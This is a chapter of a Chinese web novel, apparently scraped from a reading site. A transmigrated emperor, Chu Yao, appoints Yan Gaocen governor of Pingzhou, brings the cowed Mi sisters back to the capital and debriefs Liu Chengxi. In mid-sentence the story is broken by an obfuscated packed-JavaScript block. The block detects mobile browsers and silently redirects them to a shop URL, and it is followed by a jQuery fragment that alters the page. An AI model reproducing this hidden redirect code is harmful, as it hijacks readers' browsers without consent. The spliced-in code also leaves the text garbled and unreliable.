“诶?”
颜高岑有点不敢相信自己的耳朵。
这个安排并不是很合她的心意,她所想的是为楚曜效力,那怎么也应该是待在朝廷上才是,地方官是她不太想要去当的。
楚曜从颜高岑脸上的表情变化,看出了颜高岑心里的想法,她长长地叹了口气。
“颜爱卿哟……”
楚曜的目光中夹杂着担忧与无奈,似乎是在真真切切地为某些事情而感到无力。
“你也是知道的,目前朝堂上的局势并不稳固,朕的手底下也就那么几个可塑之才。”
说到这里,楚曜是真的心累,谁家当皇帝手底下没几个人才呀,结果刚穿越到这里,她不仅得面对一堆牛鬼蛇神一样的大臣,还得想怎么发展这个国家。
手上才刚有了一个文官不久,又得派到地方去帮忙治理地方处,创业工司的困难一览无遗。
“你也看到了,这两人意图谋权篡位,野心颇大,如若再让她们继续管理平州,朕定是不放心的。”
说着楚曜又踩了两人一脚,把她们的鞋子给踩脏了,米石与米雨默默低头生窝囊气。
“而朕如今手底下能用的贤臣也就只有严爱卿最适合暂时掌管平州了,眼下平州百废待兴,等来日有了合适的臣子替换下来,朕定然会急诏传爱卿回盛城。”
见颜高岑的眼睛开始渐渐亮了起来,楚曜用手拍着颜高岑的肩膀,以示对属下的鼓励。
“再说,平州百姓知晓颜爱卿将带领她们复兴平州时,定然会对颜爱卿感到实打实的敬佩,等回了朝堂上,还能成为你做的一件大功,到时朕会给你记一个头等功,你也能当个大些的官了。”
楚曜给下了她的许诺,虽然现在官职到底是怎么晋升的还是没有给搞清楚多少,但都是自己人了,给点好处也没啥。
颜高岑听得连连点头,她可不觉得楚曜这是在忽悠自己,楚曜可是皇帝陛下啊,还是她的救命恩人,没有理由去忽悠她这一个小官吏。
退一步说,陛下怎么不忽悠别人只忽悠她呢?当然是因为陛下看重她的才华,赏识她的人品了。
“感谢陛下为臣解惑,臣一定竭尽全力,还平州百姓一个宫道。”
说话期间,颜高岑不忘暗暗贬损刚刚被下任的米石和米雨。
米石和米雨继续敢怒不敢言。
“颜爱卿还真是让朕舒心,哪像这二位……罢了,如今朝廷尚在发展的阶段,匡国离不开朕,朕于明日就会班师回朝,颜爱卿明日也得准备收拾下风风光光当上地方官了。”
楚曜哈哈一笑,鼓励了颜高岑一番,把一个大小伙儿给夸得脸都红了,不过在因为楚曜的夸奖而晕乎的时候,颜高岑还是在这段话里面提取出了自己想要询问的话语的。
“陛下明日就要回朝了?明明才刚来平州不久。”
颜高岑嘟囔着叹了口气,她没有理由,也没有权力去反驳楚曜回盛城的决定,楚曜没多说,聪明人自会知晓她现在急着回去的理由。
「才这么几天,你来这里想要达成的目的就全部完成了。」
楚看热闹似的话语在心中传出。
楚正待在现代,穿越之前的楚曜兜里还有钱够她躺平,楚这些天同样没有出去,维持着楚曜平时的生活作息,不过穿越了也没能改变她的某些习惯,不如说让她闲下来,反而加重了她的掌控欲。
被迫处在一段互相制衡的关系里,以楚的性格不可能对楚曜不上心,她能听到,偶尔也能看到楚曜的行动,她知道楚曜此行是想要干什么。
来平州楚曜最先需要的是抹除掉韩戚在这里的好声望,避免臣子功高盖主,树立一个关心民众的好形象,在民众心里留个好印象。
两次施粥,加上施粥时应对突发事件的一些举措,楚曜已经达成了这一目的,平州老百姓很大概率从此会忘记韩戚,又在楚曜的行动以及颜高岑的宣传下牢牢把楚曜是最符合她们利益的统治者这一印象刻在脑海里。
另一个目的大概就是收服还有点不太服气的米氏姐妹二人了吧,看那两人怂得不行的样子,楚啧了则舌。
或许还有其她的已经达成了的目的,不过楚曜没主动说,颜高岑也没问,这些都是楚猜的。
「这叫速通玩家,你看我接下来的操作就完事了。」
楚曜带着几分得意地说着。
第二日一早,楚曜匆匆结束了这趟平州之行。
回去的路上,楚曜依旧坐在马车上,只不过坐在她对面的人换了,米石与米雨拘谨地坐着,两人的手都放在膝盖上,就跟楚曜童年做错事挨训的样子差不多。
“咳咳。”
楚曜一只手攥成拳,放在嘴边轻咳两声,两姐妹吓得一哆嗦,开始坐立难安起来。
给孩子打出心理阴影来了?楚曜不确定她们的心理阴影有多大,于是在脑中回想昨日的记忆,尝试勾起跟昨天一模一样的笑来。
她不过笑了一下,那对面人高马壮身板倍结实的两姐妹就像耗子见到猫似地往后缩去,在有限的距离之内离楚曜更远了些。
“不必惊慌,只是一个小小的玩笑。”
见状,楚曜也没再继续吓唬人家,毕竟日子还长着呢,楚曜拉开帘子朝窗外挥了挥手,一名蒙着面的人骑着匹骏马靠近了马车的车窗。
“陛下有何吩咐?”
这名蒙面人还是楚曜新招安的,她就是昨天被打败的易容行家,一名有着特殊才能的人才,说不定未来的什么时候会发生意想不到的作用呢?
“并无什么大事发生,你们看,永言她都已经被朕划分为暗卫了,朕的心胸还是蛮宽广的,不必担心朕对你们做些什么。”
楚曜摆摆手跟名为永言的易容高手表示没有事情,然后对着米石跟米雨讲起道理来。
米石跟米雨没敢放松多少,永言顶多只是一个给她们打下手的属下罢了,伪装中年人捣乱和去龙王教谈合作都是她们指使的,她们两个干的事情可比永言严重得多。
她们都敢要楚曜的命了,楚曜还把她们放在旁边,甚至说是委以重任这种谎话她们两个可是不相信的。
“陛下心胸宽广,我们二人当然清楚。”
当然明面上米石与米雨连连点头,米雨还开了口奉承了楚曜一下。
“看来你们还是不信啊。”
楚曜苦恼地皱着眉,这两人之前都没有给刷好感的机会,现在这好感度没有达标,不是很好忽悠。
氪金游戏里面角色的好感度可以靠送氪金礼物增加,现实里也是认可这套逻辑的,楚曜倒是不担心她拿不下这两人。
“等回到盛城你们就知道了,到时候朕会给你们更好的待遇,更高的职位,相对应的,如果你们能让朕失望的话,朕可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153841|196485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会很伤心的。”
楚曜假模假样擦了两下眼角根本不存在的眼泪,那敷衍的悲情戏没人会当真,米石跟米雨低下头去不敢再说什么。
这一路上是沉默的,三天里楚曜跟米石与米雨说的话根本没有几句,好在赶路的时间还算过得挺快。
一到盛城,早就坐不住了的两姐妹跃跃欲试,三天下来她们跟楚曜待着的压力越来越大,现在都有点想直接跳下马车了。
坐在另一头的楚曜看着她们,米石和米雨不敢把这个眼神忽视掉,还是安分了下来。
“嗯,不错不错。”
楚曜像是夸自家的狗子那样夸了对面的两姐妹,米石与米雨心中无语,面上只是把视线撇过去了些,乍一看还真的有点乖巧。
回到皇宫里面的楚曜后面跟着的人换了一波,总体的数量还增加了,在工作的宫殿里边短暂休憩了一下的柳承希看见把眯着的眼睛睁大了点。
“这两个不是之前被调去平州的地方官吗?还有怎么颜高岑不见了?”
柳承希应该是困了,楚曜回来的时候她趴在桌子上,眼睛眯得几乎成了一条缝,显得她更像只狐狸了,问这话时,她的语气越说越快,说到最后已经是清醒了的。
“不急不急,这些得慢慢说。”
楚曜坐在了刚才柳承希坐着的椅子上,柳承希则是站了起来,听楚曜说起她在平州遇见的事。
等楚曜把经历的事情说完,柳承希的表情已然变得古怪了起来,她不断撇着楚曜后面一动不动站得笔挺的两姐妹,好像是在奇怪天底下怎么会有这样的奇人。
“……我记得好像在三个月前,她们俩刚被你打了一顿。”
柳承希说着已经掩饰不住自己心里扣出的问号了。
“可能她们喜欢找我讨打。”
楚曜自信地回答,柳承希看看楚曜,又看看站在后面的米石跟米雨,那眼神的复杂程度可能连未来的柳承希也解答不出来。
“算了。”
最终不知道抱着什么样的心情,柳承希说下了这句话。
“我们的确还挺缺人手,这两个人到时候可以安排给新兵做教练,当然也可以安排去收拾一下那些不听话的家伙。”
柳承希只说了米石、米雨两个人被楚曜纳入麾下的表面用处,还有一些话在外人面前可不能说。
“的确如此,不过这得等到明天上朝了再说,平州那地方有个擅长易容家伙,我把她招安成暗卫了,她的作用应该还蛮大的。”
楚曜心情颇好地跟柳承希说了个好消息,随后又朝着米石与米雨两姐妹摆了摆手。
“你们现在可以去外面随便找个士兵,让她们带着你们在皇宫里面住下了,明天记得准时上朝。”
都已经到了自己的地盘了,楚曜根本不怕她们两个跑走的,等两人退下以后,柳承希与楚曜聊天的语气明显轻快不少。
“这些天朝堂上那些家伙还是不怎么老实,要不是实在没有人可用,真不想留着她们。”
柳承希对朝廷上那些家伙的不满已经溢于言表,说的话那叫一个怨气深重,楚曜听着叹了口气,自己这边人手还是不足啊。
“问题需要一个个解决不是吗?我们总有办法的。”
柳承希一脸麻木地点了点头。
“没事的话我先去补个觉,别的等我睡醒再说。”